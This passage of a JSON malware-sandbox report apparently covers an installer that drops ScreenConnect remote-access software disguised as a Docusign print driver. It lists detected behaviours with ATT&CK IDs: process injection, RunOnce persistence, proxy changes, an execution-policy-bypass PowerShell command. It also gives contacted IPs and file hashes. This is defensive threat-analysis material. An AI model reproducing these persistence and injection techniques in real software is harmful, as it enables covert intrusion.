continue...me of the email server. This can be used instead of the HostName parameter in the Send-MailMessage cmd\" (Indicator: \"hostname\"; Source: \"00000000-00002772.00000000.215210.E0B80000.00000004.mdmp\")\n Found string \"Variable to contain the name of the email server. This can be used instead of the HostName parameter in the Send-MailMessage cmdlet.ater than $ConfirmPreference. If $ConfirmPreference is None, actions will only be confirmed when Confirm is specified.\" (Indicator: \"hostname\"; Source: \"00000000-00002772.00000000.215210.E0B80000.00000004.mdmp\")\n Found string \"Variable to contain the name of the email server. This can be used instead of the HostName parameter in the Send-MailMessage cmdlet.\" (Indicator: \"hostname\"; Source: \"00000000-00002772.00000000.215210.E0B80000.00000004.mdmp\")\n Found string \"ping\" (Indicator: \"ping\"; Source: \"00000000-00006420.00000001.214348.0CDE0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":7,"id":"string-126","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Retrieves specified items using PowerShell","description":"Process \"powershell.exe\" with commandline \"-NoLogo -NoProfile -ExecutionPolicy Bypass -Command \"$m=Join-Path -Path $env:TD -ChildPath 'SC_FeedbackTool.msi'; $e=Join-Path -Path $env:TD -ChildPath 'SecondInstaller.exe'; if((Get-FileHash -Algorithm SHA256 -LiteralPath $m).Hash -ne 'C8F361433837AFE3CEB00D300E3B922FE5DD56365DADE70E3187031166D8676E'){exit 2}; if((Get-FileHash -Algorithm SHA256 -LiteralPath $e).Hash -ne '7AD243CD358D916E029BA8FF9A616DFDCAB29B594A9EBF08A66A1C4BD63FB7E2'){exit 3}\"\" (UID: 00000000-00002772)","origin":"Monitored Target","mitre_attack_id":"T1082","relevance":1,"id":"target-477","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"System Security","name":"Able to delete registry key/value (API string)","description":"Found registry deletion API: \"RegDeleteKeyExW\" in file \"00000000-00007008.00000002.220520.00081000.00000020.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-230","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"System Security","name":"Calls an API typically used to enable or disable privileges in the specified access token","description":"\"powershell.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00006420)\n \"powershell.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00007528)\n \"powershell.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00002772)\n \"Docusign Print Driver x64.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00007000)","origin":"API Call","mitre_attack_id":"T1134","relevance":3,"id":"api-111","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"System Security","name":"Contains ability to access device drivers","description":"$73","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-474","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"System Security","name":"Contains ability to create/modify item values (Powershell command string)","description":"Found string \"Set-ItemProperty\" (Indicator: \"Set-ItemProperty\"; Source: \"00000000-00002772.00000000.215210.E0B80000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-367","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete a property and its value from an item (Powershell command string)","description":"Found string \"Remove-Module\" (Indicator: \"Remove-Module\"; Source: \"00000000-00002772.00000000.215210.E0B80000.00000004.mdmp\")\n Found string \"Remove-PSBreakpoint\" (Indicator: \"Remove-PSBreakpoint\"; Source: \"00000000-00002772.00000000.215210.E0B80000.00000004.mdmp\")\n Found string \"Remove-Variable\" (Indicator: \"Remove-Variable\"; Source: \"00000000-00002772.00000000.215210.E0B80000.00000004.mdmp\")\n Found string \"Remove-PSDrive\" (Indicator: \"Remove-PSDrive\"; Source: \"00000000-00002772.00000000.215210.E0B80000.00000004.mdmp\")\n Found string \"Remove-ItemProperty\" (Indicator: \"Remove-ItemProperty\"; Source: \"00000000-00002772.00000000.215210.E0B80000.00000004.mdmp\")\n Found string \"Remove-PSSnapin\" (Indicator: \"Remove-PSSnapin\"; Source: \"00000000-00002772.00000000.215210.E0B80000.00000004.mdmp\")\n Found string \"Remove-WMIObject\" (Indicator: \"Remove-WmiObject\"; Source: \"00000000-00002772.00000000.215210.E0B80000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1685","relevance":1,"id":"string-369","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete files/directories (API string)","description":"Found reference to API \"02870,7352,3137,,RemoveDirectoryW,kernel32.dll,\"00:56:12.578\",RX=0,PX=0\" (Indicator: \"RemoveDirectory\"; Source: \"00000000-00005036.00000000.215916.02940000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.004","relevance":1,"id":"string-308","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify access token privileges (API string)","description":"Found reference to API \"SeShutdownPrivilege\" (Indicator: \"SeShutdownPrivilege\"; File: \"00000000-00007008.00000002.220520.00081000.00000020.mdmp\")\n Found reference to API \"SeDebugPrivilegej\" (Indicator: \"SeDebugPrivilege\"; Source: \"00000000-00002772.00000000.215210.E08D0000.00000004.mdmp\")\n Found reference to API \"SeDebugPrivilege\" (Indicator: \"SeDebugPrivilege\"; Source: \"00000000-00002772.00000000.215210.E0B80000.00000004.mdmp\")\n Found reference to API \"SeDebugPrivilege\" (Indicator: \"SeDebugPrivilege\"; Source: \"00000000-00005136.00000000.218070.7C300000.00000004.mdmp\")\n Found reference to API \"SeDebugPrivilegej\" (Indicator: \"SeDebugPrivilege\"; Source: \"00000000-00006420.00000000.214162.CF280000.00000004.mdmp, 00000000-00006420.00000001.214348.CF280000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134","relevance":1,"id":"string-77","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify process attributes (API string)","description":"Found reference to API \"SetProcessMitigationPolicy\" (Indicator: \"SetProcessMitigationPolicy\"; Source: \"00000000-00005036.00000000.215916.0056B000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1685","relevance":1,"id":"string-402","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"System Security","name":"Contains ability to retrieve credential objects (Powershell command string)","description":"Found string \"Get-Credential\" (Indicator: \"Get-Credential\"; Source: \"00000000-00002772.00000000.215210.E0B80000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1003","relevance":1,"id":"string-340","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"System Security","name":"Contains ability to stop a service (Powershell command string)","description":"Found string \"Stop-Service\" (Indicator: \"Stop-Service\"; Source: \"00000000-00002772.00000000.215210.E0B80000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-274","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate a process (API string)","description":"Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; Source: \"00000000-00002772.00000000.215210.140BB000.00000002.mdmp\")\n Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; Source: \"00000000-00005036.00000000.215916.0056B000.00000002.mdmp\")\n Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; Source: \"00000000-00005036.00000000.215916.0056B000.00000002.mdmp\")\n Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; Source: \"00000000-00005136.00000000.218070.02CCC000.00000002.mdmp\")\n Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; Source: \"00000000-00005136.00000000.218070.02CCC000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-316","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate services/features (Powershell command string)","description":"Found string \"Disable-PSBreakpoint\" (Indicator: \"Disable-PSBreakpoint\"; Source: \"00000000-00002772.00000000.215210.E0B80000.00000004.mdmp\")\n Found string \"Stop-Process\" (Indicator: \"Stop-Process\"; Source: \"00000000-00002772.00000000.215210.E0B80000.00000004.mdmp\")\n Found string \"Disable-PSRemoting\" (Indicator: \"Disable-PSRemoting\"; Source: \"00000000-00002772.00000000.215210.E0B80000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1685","relevance":1,"id":"string-371","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"System Security","name":"Contains ability to write files (API string)","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00002772.00000000.215210.140BB000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","id":"string-535","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\"Docusign Print Driver x64.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")","origin":"Registry Access","mitre_attack_id":"T1543.003","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"cmd.exe\" opened \"\\Device\\KsecDD\"\n \"powershell.exe\" opened \"\\Device\\KsecDD\"\n \"msiexec.exe\" opened \"\\Device\\KsecDD\"\n \"MsiExec.exe\" opened \"\\Device\\KsecDD\"\n \"rundll32.exe\" opened \"\\Device\\KsecDD\"\n \"SecondInstaller.exe\" opened \"\\Device\\KsecDD\"\n \"Docusign Print Driver x64.exe\" opened \"\\Device\\KsecDD\"","origin":"API Call","mitre_attack_id":"T1068","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"$74","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"System Security","name":"Writes registry keys","description":"$75","origin":"Registry Access","mitre_attack_id":"T1112","relevance":3,"id":"registry-136","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to redirect output to specified device/utility (Powershell command string)","description":"Found string \"Out-Default\" (Indicator: \"Out-Default\"; Source: \"00000000-00002772.00000000.215210.E0B80000.00000004.mdmp\")\n Found string \".ForwardHelpTargetName Out-String\" (Indicator: \"Out-String\"; Source: \"00000000-00002772.00000000.215210.E0B80000.00000004.mdmp\")\n Found string \"Out-File\" (Indicator: \"Out-File\"; Source: \"00000000-00002772.00000000.215210.E0B80000.00000004.mdmp\")\n Found string \"Out-Null\" (Indicator: \"Out-Null\"; Source: \"00000000-00002772.00000000.215210.E0B80000.00000004.mdmp\")\n Found string \"Out-String\" (Indicator: \"Out-String\"; Source: \"00000000-00002772.00000000.215210.E0B80000.00000004.mdmp\")\n Found string \"Out-Host\" (Indicator: \"Out-Host\"; Source: \"00000000-00002772.00000000.215210.E0B80000.00000004.mdmp\")\n Found string \"Out-GridView\" (Indicator: \"Out-GridView\"; Source: \"00000000-00002772.00000000.215210.E0B80000.00000004.mdmp\")\n Found string \"Out-Printer\" (Indicator: \"Out-Printer\"; Source: \"00000000-00002772.00000000.215210.E0B80000.00000004.mdmp\")","origin":"File/Memory","relevance":1,"id":"string-373","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to run commands from session history (Powershell command string)","description":"Found string \"Invoke-History\" (Indicator: \"Invoke-History\"; Source: \"00000000-00002772.00000000.215210.E0B80000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.001","relevance":1,"id":"string-347","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to set/modify configuration (Powershell command string)","description":"$76","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-395","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains reference to mutex-related activity (API string)","description":"Found reference to API \"ReleaseMutex\" (Indicator: \"ReleaseMutex\"; Source: \"00000000-00005036.00000000.215916.0056B000.00000002.mdmp\")\n Found reference to API \"CreateMutexExW\" (Indicator: \"CreateMutex\"; Source: \"00000000-00005036.00000000.215916.0056B000.00000002.mdmp\")\n Found reference to API \"ReleaseMutex\" (Indicator: \"ReleaseMutex\"; Source: \"00000000-00005136.00000000.218070.02CCC000.00000002.mdmp\")\n Found reference to API \"CreateMutexExW\" (Indicator: \"CreateMutex\"; Source: \"00000000-00005136.00000000.218070.02CCC000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-354","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops document files inside temp directory","description":"\"SC_FeedbackTool.msi\" has type \"Composite Document File V2 Document Little Endian Os: Windows Version 6.2 MSI Installer Code page: 1252 Title: Installation Database Subject: Default Author: ScreenConnect Software Keywords: Default Comments: Default Template: Intel;1033 Revision Number: {30C8C50F-FBDD-D902-5643-9E66491DF8DC} Create Time/Date: Fri Jun 6 01:38:20 2025 Last Saved Time/Date: Fri Jun 6 01:38:20 2025 Number of Pages: 200 Number of Words: 2 Name of Creating Application: Windows Installer XML Toolset (3.11.0.1701) Security: 2\"- Location: [%TEMP%\\SC_FeedbackTool_107829898\\SC_FeedbackTool.msi]- [targetUID: 00000000-00006420]","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-34","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops executable files inside temp directory","description":"$77","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-33","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops file with high entropy, indicating encryption/obfuscation","description":"\"07CEF2F654E3ED6050FFC9B6EB844250_D94F4A82266DCEDAC0F3F1BFD0843F4D has high entropy\"\n \"9E5AF9A59B2A0198F537F5F6F7EBA776_57ABCF7C80DDF20409A123C0B25EDA1D has high entropy\"\n \"8EC9B1D0ABBD7F98B401D425828828CE_8B93EA2B1F3B597273A7D8F04E989FD4 has high entropy\"\n \"C8E534EE129F27D55460CE17FD628216_1130D9B25898B0DB0D4F04DC5B93F141 has high entropy\"\n \"A334956C3F99BD182BF4859935BADE72_925A0286269529E9A1D884A0357A3E3B has high entropy\"","origin":"Binary File","mitre_attack_id":"T1560.003","relevance":3,"id":"binary-90","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops files inside appdata directory","description":"$78","origin":"Binary File","mitre_attack_id":"T1036","relevance":3,"id":"binary-37","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops files with image extension","description":"\"mbapreq.png\" has type \"PNG image data 63 x 63 8-bit/color RGBA non-interlaced\" and extension \"png\"","origin":"Binary File","mitre_attack_id":"T1105","id":"binary-56","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"rundll32.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")\n \"SecondInstaller.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")\n \"Docusign Print Driver x64.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)","description":"\"powershell.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 6420)\n \"powershell.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 7528)\n \"powershell.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 2772)\n \"SecondInstaller.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 7008)","origin":"API Call","mitre_attack_id":"T1685","relevance":10,"id":"api-1","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"2/26 Antivirus vendors marked sample as malicious (7% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"suspicious","category":"General","name":"Reads configuration files (.ini files)","description":"\"SecondInstaller.exe\" reads file \"C:\\Users\\%OSUSER%\\Desktop\\desktop.ini\"\n \"SecondInstaller.exe\" reads file \"C:\\Users\\%OSUSER%\\Documents\\desktop.ini\"\n \"SecondInstaller.exe\" reads file \"C:\\Users\\%OSUSER%\\Music\\desktop.ini\"\n \"SecondInstaller.exe\" reads file \"C:\\Users\\%OSUSER%\\Pictures\\desktop.ini\"\n \"SecondInstaller.exe\" reads file \"C:\\Users\\%OSUSER%\\Videos\\desktop.ini\"\n \"SecondInstaller.exe\" reads file \"C:\\Users\\%OSUSER%\\Downloads\\desktop.ini\"\n \"SecondInstaller.exe\" reads file \"C:\\Users\\%OSUSER%\\OneDrive\\desktop.ini\"\n \"Docusign Print Driver x64.exe\" reads file \"C:\\Windows\\win.ini\"","origin":"API Call","mitre_attack_id":"T1083","relevance":4,"id":"api-6","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Drops executable files","description":"$79","origin":"Binary File","mitre_attack_id":"T1105","relevance":5,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Modifies auto-execute functionality by setting/creating a value in the registry","description":"\"Docusign Print Driver x64.exe\" (Access type: \"SETVAL\"; Path: \"HKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUNONCE\"; Key: \"{8FF1BB8D-871A-46E2-BDAD-E784F60F238E}\"; Value: \"\"%ALLUSERSPROFILE%\\Package Cache\\{8ff1bb8d-871a-46e2-bdad-e784f60f238e}\\Docusign Print Driver x64.exe\" /burn.runonce\")","origin":"Registry Access","mitre_attack_id":"T1547.001","relevance":8,"id":"registry-0","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Writes a PE file header to disc","description":"$7a","origin":"API Call","mitre_attack_id":"T1105","relevance":5,"id":"api-43","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"suspicious","category":"Network Related","name":"References HTTP requests in memory","description":"$7b","origin":"Memory Dumps","mitre_attack_id":"T1071.001","relevance":3,"id":"memorydump-6","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"suspicious","category":"Network Related","name":"Spawned process connects to a network","description":"Process \"%WINDIR%\\Temp\\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\\.be\\Docusign Print Driver x64.exe\" connects to 162.159.142.9 on port 80 (TCP)\n Process \"%WINDIR%\\Temp\\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\\.be\\Docusign Print Driver x64.exe\" connects to 104.18.38.233 on port 80 (TCP); Domain: \"ocsp.sectigo.com\"\n Process \"%WINDIR%\\Temp\\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\\.be\\Docusign Print Driver x64.exe\" connects to 172.64.149.23 on port 80 (TCP)","origin":"Monitored Target","mitre_attack_id":"T1071","relevance":5,"id":"target-412","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"$7c","origin":"API Call","mitre_attack_id":"T1070.004","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"suspicious","category":"System Security","name":"Modifies proxy settings","description":"\"SecondInstaller.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\"; Value: \"0100000000\")","origin":"Registry Access","mitre_attack_id":"T1090.001","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Contains native function calls","description":"NtSetInformationProcess@NTDLL.DLL at 00000000-00005036-43131-69-005644B6\n NtQuerySystemInformation@NTDLL.DLL at 00000000-00005036-43131-74-00564431\n NtOpenProcessToken@NTDLL.DLL at 00000000-00005036-43131-82-0056806E\n NtQueryInformationToken@NTDLL.DLL at 00000000-00005036-43131-83-00565FE1\n NtUpdateWnfStateData@NTDLL.DLL at 00000000-00005036-43131-135-005660AF\n NtQueryWnfStateData@NTDLL.DLL at 00000000-00005036-43131-137-0056605A\n NtdllDefWindowProc_W@NTDLL.DLL at 00000000-00005036-43131-189-00565E00\n NtdllDefWindowProc_W@NTDLL.DLL at 00000000-00007008-46143-1209-0009E3C8\n NtdllDefWindowProc_W@NTDLL.DLL at 00000000-00007008-46143-1211-0009E7A7","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1106","relevance":5,"id":"stream-22","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"Creates a process in suspended mode (likely for process injection)","description":"\"SecondInstaller.exe\" called \"CreateProcessW\" with parameter \"\"%WINDIR%\\Temp\\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\\.be\\Docusign Print Driver x64.exe\" -q -burn.elevated BurnPipe.{C57982AE-9F\" - (UID: 00000000-00007008)","origin":"API Call","mitre_attack_id":"T1055","relevance":10,"id":"api-129","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"Detected Rundll32 process execution","description":"Process \"rundll32.exe\" with commandline \"\"%WINDIR%\\\\Installer\\\\MSI646E.tmp\",zzzzInvokeManagedCustomActionOutOfProc SfxCA_3368656 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments\" (UID: 00000000-00005036)\n Process \"rundll32.exe\" with commandline \"\"%TEMP%\\\\MSIE844.tmp\",zzzzInvokeManagedCustomActionOutOfProc SfxCA_3402343 76 DocuSign.Installer.CustomActions!DocuSign.Installer.CustomActions.CustomActions.LoadPreviousSettings\" (UID: 00000000-00005136)","origin":"Monitored Target","mitre_attack_id":"T1218.011","relevance":10,"id":"target-115","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"malicious","category":"Installation/Persistence","name":"Drops executable files to the Windows system directory","description":"$7d","origin":"Binary File","mitre_attack_id":"T1036","relevance":7,"id":"binary-7","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"malicious","category":"Installation/Persistence","name":"Writes data to a remote process","description":"\"SecondInstaller.exe\" wrote 000011C0 bytes to a remote process \"C:\\Windows\\Temp\\{768A3F2B-CA05-49E6-9E81-BF3FFA4377AB}\\.cr\\SecondInstaller.exe\" (Handle: 744)\n \"SecondInstaller.exe\" wrote 00000008 bytes to a remote process \"C:\\Windows\\Temp\\{768A3F2B-CA05-49E6-9E81-BF3FFA4377AB}\\.cr\\SecondInstaller.exe\" (Handle: 744)\n \"SecondInstaller.exe\" wrote 00000004 bytes to a remote process \"C:\\Windows\\Temp\\{768A3F2B-CA05-49E6-9E81-BF3FFA4377AB}\\.cr\\SecondInstaller.exe\" (Handle: 744)\n \"SecondInstaller.exe\" wrote 000011C0 bytes to a remote process \"C:\\Windows\\Temp\\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\\.be\\Docusign Print Driver x64.exe\" (Handle: 2012)\n \"SecondInstaller.exe\" wrote 00000008 bytes to a remote process \"C:\\Windows\\Temp\\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\\.be\\Docusign Print Driver x64.exe\" (Handle: 2012)\n \"SecondInstaller.exe\" wrote 00000004 bytes to a remote process \"C:\\Windows\\Temp\\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\\.be\\Docusign Print Driver x64.exe\" (Handle: 2012)","origin":"API Call","mitre_attack_id":"T1055","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"malicious","category":"System Security","name":"Executes powershell requesting to bypass execution policy","description":"$7e","origin":"Monitored Target","mitre_attack_id":"T1059.001","relevance":5,"id":"target-29","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns many processes","description":"$7f","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]}],"incidents":[{"name":"Spyware","details_count":2,"details":[{"detail":"Hooks API calls"},{"detail":"Found a string that may be used as part of an injection method"}],"sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"Persistence","details_count":4,"details":[{"detail":"Writes data to a remote process"},{"detail":"Creates new processes"},{"detail":"Modifies auto-execute functionality by setting/creating a value in the registry"},{"detail":"Spawns many processes"}],"sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"Fingerprint","details_count":4,"details":[{"detail":"Queries kernel debugger information"},{"detail":"Queries sensitive IE security settings"},{"detail":"Queries the display settings of system associated file extensions"},{"detail":"Queries the installation properties of user installed products"}],"sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"Evasive","details_count":5,"details":[{"detail":"References security-related Windows services"},{"detail":"Able to change service configuration"},{"detail":"Able to check if a debugger is running"},{"detail":"Contains ability to adjust token privileges"},{"detail":"Contains ability to terminate a process"}],"sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"Spreading","details_count":2,"details":[{"detail":"Attempts to access unusual system drive letters"},{"detail":"Contains ability to enumerate volumes"}],"sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 1 domain and 1 host"}],"sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]}],"intel_graph":{"map":{"Domain:ocsp.sectigo.com":{"type":"Domain","value":"ocsp.sectigo.com"},"File:0290dd4b5df4def9eb233faff3c7f00c4a60ba94bba97c4c054015f378abe3a6":{"type":"File","value":"0290dd4b5df4def9eb233faff3c7f00c4a60ba94bba97c4c054015f378abe3a6"},"File:02d69e8dcad7b85086797d70b7594722b3dea85d2b15d48b50479cbfd3499fab":{"type":"File","value":"02d69e8dcad7b85086797d70b7594722b3dea85d2b15d48b50479cbfd3499fab"},"File:0c7420cc4bd0fb0fcf23786101b70aebaf67eaca7ee54f20380e32d335139ac7":{"type":"File","value":"0c7420cc4bd0fb0fcf23786101b70aebaf67eaca7ee54f20380e32d335139ac7"},"File:0c9639fed56eaa486b2c5e0be4b2b56352e95fc7329d7fa4a00580b06bd01ba6":{"type":"File","value":"0c9639fed56eaa486b2c5e0be4b2b56352e95fc7329d7fa4a00580b06bd01ba6"},"File:18b00c5f543350a94d144bb69143a97821e892a74dca501d0ba93c21dd539f7e":{"type":"File","value":"18b00c5f543350a94d144bb69143a97821e892a74dca501d0ba93c21dd539f7e"},"File:1e9eacd3c680b18f3bfee12a835a49d63fed76056aedb2b2ef312999eb6b4033":{"type":"File","value":"1e9eacd3c680b18f3bfee12a835a49d63fed76056aedb2b2ef312999eb6b4033"},"File:256615a912a8595edde2a32983485535f5ca21852ab289e1a4d3cf17978201bd":{"type":"File","value":"256615a912a8595edde2a32983485535f5ca21852ab289e1a4d3cf17978201bd"},"File:2bea14d70943a42d344e09b7c9de5562fa7e109946e1c615dd584da30d06cc80":{"type":"File","value":"2bea14d70943a42d344e09b7c9de5562fa7e109946e1c615dd584da30d06cc80"},"File:33d947c04a10e3aff3dca3b779393fa56ce5f02251c8cbae5076a125fdea081f":{"type":"File","value":"33d947c04a10e3aff3dca3